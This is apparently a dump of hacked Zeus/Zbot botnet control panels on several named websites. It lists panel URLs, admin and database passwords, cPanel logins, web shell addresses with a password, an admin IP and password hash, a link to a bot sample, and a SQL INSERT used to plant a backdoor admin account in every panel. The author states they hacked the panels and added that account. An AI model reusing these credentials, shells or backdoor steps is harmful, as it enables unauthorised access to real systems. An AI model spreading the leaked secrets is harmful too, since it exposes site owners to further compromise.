Zbot - peterpanaupairs.co.uk - Login

 // zeus panel 
hxxp://www.peterpanaupairs.co.uk/duff/duff/30/cp.php
user : admin
pass : admin88

// bot sample
hxxps://www.sendspace.com/file/t29i3e

Zbot - dairyforsale.com.au - Hacked

hxxp://dairyforsale.com.au/images/roy/cp.php

// config
$config['mysql_host']          = '127.0.0.1';
$config['mysql_user']          = 'dairy_roy';
$config['mysql_pass']          = 'thankgod123';
$config['mysql_db']            = 'dairy_roy';

// zeus panel
user : admin
pass : 12345678

// shell 
hxxp://dairyforsale.com.au/cache/m.php

// cpanel 
user = 'dairy';
pass = 'vatbuster';

Zeus - ghandigameh.org - Hacked

//shell 
hxxp://www.ghandigameh.org/wkv3.php
passwd : its-ownz

// mysql
$config['mysql_host']          = 'localhost';
$config['mysql_user']          = 'ghandiga_timbod';
$config['mysql_pass']          = 'cecelle222';
$config['mysql_db']            = 'ghandiga_timbod';
// zeus panel 
hxxp://www.ghandigameh.org/timbod/cp.php
user : its-ownz
pass : 123456

// mysql
$config['mysql_host']          = 'localhost';
$config['mysql_user']          = 'ghandiga_okpokoa';
$config['mysql_pass']          = 'cecelle222';
$config['mysql_db']            = 'ghandiga_okpokoa';
// zeus panel 
hxxp://www.ghandigameh.org/okpokoa/cp.php
user : its-ownz
pass : 123456


// mysql
$config['mysql_host']          = 'localhost';
$config['mysql_user']          = 'ghandiga_mumbas';
$config['mysql_pass']          = 'cecelle222';
$config['mysql_db']            = 'ghandiga_mumbas';
// zeus panel 
hxxp://www.ghandigameh.org/mumbas/cp.php
user : its-ownz
pass : 123456

// login was 
admin ip = 41.220.69.209
admin 6a74c2362a925e5dc22f82a285d44aa5 (md5 hash)

// added via mysql thu ..
INSERT INTO `cp_users` ( `id`, `name`, `pass`, `language`, `flag_enabled`, `comment`, `ss_format`, `ss_quality`, `r_edit_bots`, `r_stats_main`, `r_stats_main_reset`, `r_stats_os`, `r_botnet_bots`, `r_botnet_scripts`, `r_botnet_scripts_edit`, `r_reports_db`, `r_reports_db_edit`, `r_reports_files`, `r_reports_files_edit`, `r_reports_jn`, `r_system_info`, `r_system_options`, `r_system_user`, `r_system_users` ) VALUES ( '2', 'its-ownz', 'e10adc3949ba59abbe56e057f20f883e', 'en', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1' );

Zbot - vinltd.com - Hacked

// zeus panel
http://vinltd.com/suz/cp.php 
user : admin 
pass : profyle187

// mysql
$config['mysql_host']          = '127.0.0.1';
$config['mysql_user']          = 'vinltdco_suz';
$config['mysql_pass']          = 'profyle187';
$config['mysql_db']            = 'vinltdco_suz';

// shell 
hxxp://vinltd.com/info.php
// note account suspended !

Zbot - ns2.ezhost.in - Login

// zeus panel 1
user : admin
pass : london
login : hxxp://ns2.ezhost.in/ca/serverphp/cp.php

// zeus panel 2
user : admin
pass : london
hxxp://ns2.ezhost.in/images/us/serverphp/cp.php

// zeus panel 3
user : admin
pass : london
hxxp://ns2.ezhost.in/images/online/serverphp/cp.php

// php panel 
hxxp://ns2.ezhost.in/ca.zip
hxxp://ns2.ezhost.in/images.zip

NOTE : added a second admin user to all panels 
user : its-ownz
pass : 123456